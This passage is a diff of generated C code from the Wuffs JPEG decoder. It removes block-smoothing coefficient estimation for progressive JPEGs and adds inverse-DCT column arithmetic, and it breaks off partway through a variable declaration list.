v_intermediate[58u] = v_intermediate[2u]; + } else { +- v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][1u]; +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][1u])); +- if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][1u] == 0u)) { +- v_limit = ((((uint32_t)(1u)) << v_al) - 1u); +- v_scratch = 0u; +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(4294967289u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(50u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(4294967246u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); +- } else { +- v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); +- } +- self->private_data.f_mcu_blocks[0u][1u] = ((uint16_t)(v_scratch)); +- } +- v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][5u]; +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][2u])); +- if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][2u] == 0u)) { +- v_limit = ((((uint32_t)(1u)) << v_al) - 1u); +- v_scratch = 0u; +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(4294967272u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); +- } else { +- v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); +- } +- self->private_data.f_mcu_blocks[0u][2u] = ((uint16_t)(v_scratch)); +- } +- v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][2u]; +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][8u])); +- if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][8u] == 0u)) { +- v_limit = ((((uint32_t)(1u)) << v_al) - 1u); +- v_scratch = 0u; +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(4294967289u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(50u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(4294967246u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); +- } else { +- v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); +- } +- self->private_data.f_mcu_blocks[0u][8u] = ((uint16_t)(v_scratch)); +- } +- v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][4u]; +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][9u])); +- if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][9u] == 0u)) { +- v_limit = ((((uint32_t)(1u)) << v_al) - 1u); +- v_scratch = 0u; +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(10u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(4294967286u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(4294967286u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(10u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); +- } else { +- v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); +- } +- self->private_data.f_mcu_blocks[0u][9u] = ((uint16_t)(v_scratch)); +- } +- v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][3u]; +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][16u])); +- if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][16u] == 0u)) { +- v_limit = ((((uint32_t)(1u)) << v_al) - 1u); +- v_scratch = 0u; +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(4294967272u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); +- } else { +- v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); +- } +- self->private_data.f_mcu_blocks[0u][16u] = ((uint16_t)(v_scratch)); +- } ++ v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][18u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][18u])))); ++ v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][50u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][50u])))); ++ v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); ++ v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); ++ v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); ++ v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][2u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][2u])))); ++ v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][34u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][34u])))); ++ v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); ++ v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); ++ v_cd0 = ((uint32_t)(v_ccp + v_cb2)); ++ v_cd1 = ((uint32_t)(v_ccm + v_cb6)); ++ v_cd2 = ((uint32_t)(v_ccm - v_cb6)); ++ v_cd3 = ((uint32_t)(v_ccp - v_cb2)); ++ v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][10u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][10u])))); ++ v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][26u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][26u])))); ++ v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][42u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][42u])))); ++ v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][58u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][58u])))); ++ v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); ++ v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); ++ v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); ++ v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); ++ v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); ++ v_ck1 = ((uint32_t)(v_bq1 * 12299u)); ++ v_ck3 = ((uint32_t)(v_bq3 * 25172u)); ++ v_ck5 = ((uint32_t)(v_bq5 * 16819u)); ++ v_ck7 = ((uint32_t)(v_bq7 * 2446u)); ++ v_ci51 *= 4294964100u; ++ v_ci53 *= 4294946301u; ++ v_ci71 *= 4294959923u; ++ v_ci73 *= 4294951227u; ++ v_cl51 = ((uint32_t)(v_ci51 + v_cj)); ++ v_cl73 = ((uint32_t)(v_ci73 + v_cj)); ++ v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); ++ v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); ++ v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); ++ v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); ++ v_intermediate[2u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); ++ v_intermediate[58u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); ++ v_intermediate[10u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); ++ v_intermediate[50u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); ++ v_intermediate[18u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); ++ v_intermediate[42u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); ++ v_intermediate[26u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); ++ v_intermediate[34u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); + } +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func jpeg.decoder.decode_mcu +- +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__decode_mcu( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_mx, +- uint32_t a_my) { +- return (*self->private_impl.choosy_decode_mcu)(self, a_workbuf, a_mx, a_my); +-} +- +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__decode_mcu__choosy_default( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_mx, +- uint32_t a_my) { +- uint32_t v_ret = 0; +- uint64_t v_bits = 0; +- uint32_t v_n_bits = 0; +- uint8_t v_csel = 0; +- wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); +- wuffs_base__io_buffer* v_r = &u_r; +- const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint32_t v_pos = 0; +- uint8_t v_dc_h = 0; +- uint32_t v_dc_symbol = 0; +- uint32_t v_dc_ht_fast = 0; +- uint32_t v_dc_bl = 0; +- uint32_t v_dc_code = 0; +- uint32_t v_dc_blm1 = 0; +- uint32_t v_dc_ht_slow = 0; +- uint16_t v_dc_value = 0; +- uint16_t v_dc_extend = 0; +- const uint16_t* v_ac_huff_table_fast = NULL; +- uint8_t v_ac_h = 0; +- uint32_t v_ac_symbol = 0; +- uint32_t v_ac_ht_fast = 0; +- uint32_t v_ac_bl = 0; +- uint32_t v_ac_code = 0; +- uint32_t v_ac_blm1 = 0; +- uint32_t v_ac_ht_slow = 0; +- uint16_t v_ac_value = 0; +- uint16_t v_ac_extend = 0; +- uint32_t v_ac_rrrr = 0; +- uint32_t v_ac_ssss = 